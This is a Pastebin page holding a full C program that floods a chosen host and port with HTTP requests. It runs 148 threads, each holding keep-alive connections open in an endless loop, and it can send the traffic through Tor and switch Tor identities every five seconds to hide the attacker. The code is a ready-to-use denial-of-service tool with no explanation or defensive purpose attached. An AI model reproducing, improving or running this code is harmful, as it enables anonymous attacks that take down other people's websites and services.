Guest User

Untitled

a guest
Jun 24th, 2018
87
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 5.54 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4. #include <stdint.h>
  5. #include <unistd.h>
  6. #include <netdb.h>
  7. #include <signal.h>
  8. #include <errno.h>
  9. #include <sys/socket.h>
  10. #include <sys/types.h>
  11. #include <netinet/in.h>
  12. #include <arpa/inet.h>
  13. #include <pthread.h>
  14.  
  15. #define USLEEPER 200000
  16. #define CONNECTIONS 3
  17. #define THREADS 148
  18.  
  19. const char header[] = "GET / HTTP/1.1\r\n" \
  20.                       "Host: 127.0.0.1\r\n" \
  21.                       "User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)\r\n" \
  22.                       "Keep-Alive: 300\r\n" \
  23.                       "Connection: Keep-Alive\r\n" \
  24.                       "Accept-Encoding: gzip\r\n\r\n";
  25. int hsize, torify;
  26.  
  27.  
  28. typedef struct _thread_args {
  29.     const char *host, *port;
  30. } thread_args;
  31.  
  32.  
  33. int socketize(const char *host, const char *port)
  34. {
  35.     struct addrinfo hints, *servinfo, *p;
  36.     int sock = 0, r = 0, y = 1;
  37.  
  38.     memset(&hints, 0, sizeof(hints));
  39.     hints.ai_family = AF_UNSPEC;
  40.     hints.ai_socktype = SOCK_STREAM;
  41.  
  42.     if ((r = getaddrinfo(host, port, &hints, &servinfo)) != 0) {
  43.         fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(r));
  44.         return -1;
  45.     }
  46.  
  47.     for (p = servinfo; p != NULL; p = p->ai_next) {
  48.         if ((sock = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1) {
  49.             continue;
  50.         }
  51.         setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &y, 4);
  52.         if (connect(sock, p->ai_addr, p->ai_addrlen) == -1) {
  53.             close(sock);
  54.             continue;
  55.         }
  56.         break;
  57.     }
  58.  
  59.     if (p == NULL) {
  60.         if (servinfo)
  61.             freeaddrinfo(servinfo);
  62.         return -2;
  63.     }
  64.  
  65.     if (servinfo)
  66.         freeaddrinfo(servinfo);
  67.  
  68.     return sock;
  69. }
  70.  
  71.  
  72. int proxyfy(const char *host, const char *port)
  73. {
  74.     char buf[1024];
  75.     int p = atoi(port), sock = 0;
  76.     short t = 0, l = strlen(host);
  77.  
  78.     printf("Connect [%s:%s]\n", host, port);
  79.  
  80.     if ((sock = socketize("127.0.0.1", "9050")) < 0)
  81.         return sock;
  82.  
  83.     write(sock, "\x05\x01\x00", 3);
  84.     read(sock, buf, 1024);
  85.     if (buf[0] != 0x05 || buf[1] == 0xFF || buf[1] != 0x00)
  86.         return -3;
  87.  
  88.     buf[0] = 0x05;
  89.     buf[1] = 0x01;
  90.     buf[2] = 0x00;
  91.     buf[3] = 0x03;
  92.     buf[4] = l;
  93.  
  94.     memcpy(buf+5, host, l);
  95.     buf[5+l] = (char)(p >> 8);
  96.     buf[5+l+1] = (char)(p & 0xff);
  97.  
  98.     write(sock, buf, 5+l+2);
  99.     read(sock, buf, 1024);
  100.     if (buf[0] == 0x05 && buf[1] == 0x00)
  101.         return sock;
  102.     return -4;
  103. }
  104.  
  105.  
  106. void *attack(void *arg)
  107. {
  108.     int i = 0, r = 0, socks[CONNECTIONS];
  109.     thread_args *a = (thread_args *) arg;
  110.    
  111.     printf("Thread Started...\n");
  112.  
  113.     signal(SIGPIPE, SIG_IGN);
  114.     memset(socks, 0, sizeof(int)*CONNECTIONS);
  115.    
  116.     for (;;) {
  117.         for (i = 0; i < CONNECTIONS; i++) {
  118.             if (socks[i] <= 0) {
  119.                 if (torify)
  120.                     socks[i] = proxyfy(a->host, a->port);
  121.                 else
  122.                     socks[i] = socketize(a->host, a->port);
  123.                 fprintf(stderr, "Socket Returned [%d]\n", socks[i]);
  124.             }      
  125.             if (write(socks[i], header, strlen(header)) < 0) {
  126.                 close(socks[i]);
  127.                 fprintf(stderr, "Socket Write Error [%s]\n", strerror(errno));
  128.                 if (torify)
  129.                     socks[i] = proxyfy(a->host, a->port);
  130.                 else
  131.                     socks[i] = socketize(a->host, a->port);
  132.             }  
  133.         }          
  134.         usleep(USLEEPER);
  135.     }  
  136. }      
  137.    
  138.  
  139. void *anonymize(void *tor_passwd)
  140. {
  141.     char buffer[1024];
  142.     int sock = 0;
  143.  
  144.     if ((sock = socketize("localhost", "9051")) < 0) {
  145.         fprintf(stderr, "Can't connect to tor control port\n");
  146.         pthread_exit(NULL);
  147.     }
  148.  
  149.     sprintf(buffer, "AUTHENTICATE \"%s\"\r\n", (char *)tor_passwd);
  150.     write(sock, buffer, strlen(buffer));
  151.  
  152.     while (1) {
  153.         sleep(5);
  154.         memset(buffer, '\0', 1024);
  155.         write(sock, "signal NEWNYM\r\n", 15);
  156.         read(sock, buffer, 1024);
  157.         buffer[strlen(buffer)-2] = '\0';
  158.         printf("====> New identity aquired [%s] <====\n", buffer);
  159.     }
  160. }
  161.  
  162.  
  163. void error_exit(char *arg0)
  164. {
  165.     fprintf(stderr, "Usage: %s <ip/hostname> <port>\n", arg0);
  166.     exit(0);
  167. }
  168.  
  169.  
  170. int main(int argc, char **argv)
  171. {
  172.     int i = 0;
  173.     void *status;
  174.     pthread_t attackers[THREADS];
  175.     pthread_t canon;
  176.     thread_args arg;
  177.     char *tor_password = NULL;
  178.  
  179.     hsize = strlen(header);
  180.  
  181.     if (argc != 3)
  182.         error_exit(argv[0]);
  183.     arg.host = (const char *)argv[1];
  184.     arg.port = (const char *)argv[2];
  185.  
  186.     if ((tor_password = getenv("TOR_PASSWORD")) == NULL || *tor_password == '\0')
  187.         fprintf(stderr, "TOR_PASSWORD not set, will not be able to cycle circuits\n");
  188.  
  189.     if ((i = socketize("127.0.0.1", "9050")) < 0) {
  190.         printf("It looks like you're not running tor.\n"
  191.                "Running %s with your real IP could be dangerous\n"
  192.                "If you want to continue anyways press INTRO, otherwise CTRL+C", argv[0]);
  193.         scanf("%c", (char *)&i);
  194.         torify = 0;
  195.     }
  196.     else {
  197.         torify = 1;
  198.         close(i);
  199.     }
  200.  
  201.     if (tor_password && *tor_password != '\0' && torify)
  202.         pthread_create(&canon, NULL, anonymize, tor_password);
  203.  
  204.     for (i = 0; i < THREADS; i++) {
  205.         pthread_create(attackers+i, NULL, attack, &arg);
  206.         usleep(USLEEPER);
  207.     }
  208.     for (i = 0; i < THREADS; i++)
  209.         pthread_join(*(attackers+i), &status);
  210.     pthread_kill(canon, 15);
  211.     pthread_exit(NULL);
  212.     return 0;
  213. }
Add Comment
Please, Sign In to add comment